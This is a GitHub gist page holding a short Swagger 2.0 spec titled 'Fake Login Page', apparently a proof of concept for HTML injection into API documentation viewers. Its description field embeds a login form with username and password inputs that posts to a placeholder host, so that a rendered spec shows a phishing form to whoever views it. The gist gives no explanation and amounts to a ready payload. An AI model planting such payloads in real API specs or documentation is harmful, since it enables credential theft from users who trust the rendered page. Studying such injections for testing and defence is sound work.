Created
September 16, 2024 07:18
-
-
Save zsahi/a93859181588dfbe97d51942e4686424 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| swagger: '2.0' | |
| info: | |
| version: 1.0.0 | |
| title: Fake Login Page | |
| description: '<div class="login-form"> | |
| <div class="heading"> | |
| <h1>HTML Injection : Fake Login</h1> | |
| </div> | |
| <div class="form-container"> | |
| <form action="https://example.com/login" method="post" class="form-signin"> | |
| <div class="form-group"> | |
| <label for="username">Username</label> | |
| <input type="text" name="username" size="20"> | |
| </div> | |
| <div class="form-group"> | |
| <label for="password">Password</label> | |
| <input type="password" name="password" size="20"> | |
| </div> | |
| <div class="form-group"> | |
| <button type="submit" class="btn btn-default">Login</button> | |
| </div> | |
| </form> | |
| </div> | |
| </div>' | |
| paths: | |
| /: | |
| post: | |
| responses: | |
| '200': | |
| description: Login successful |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment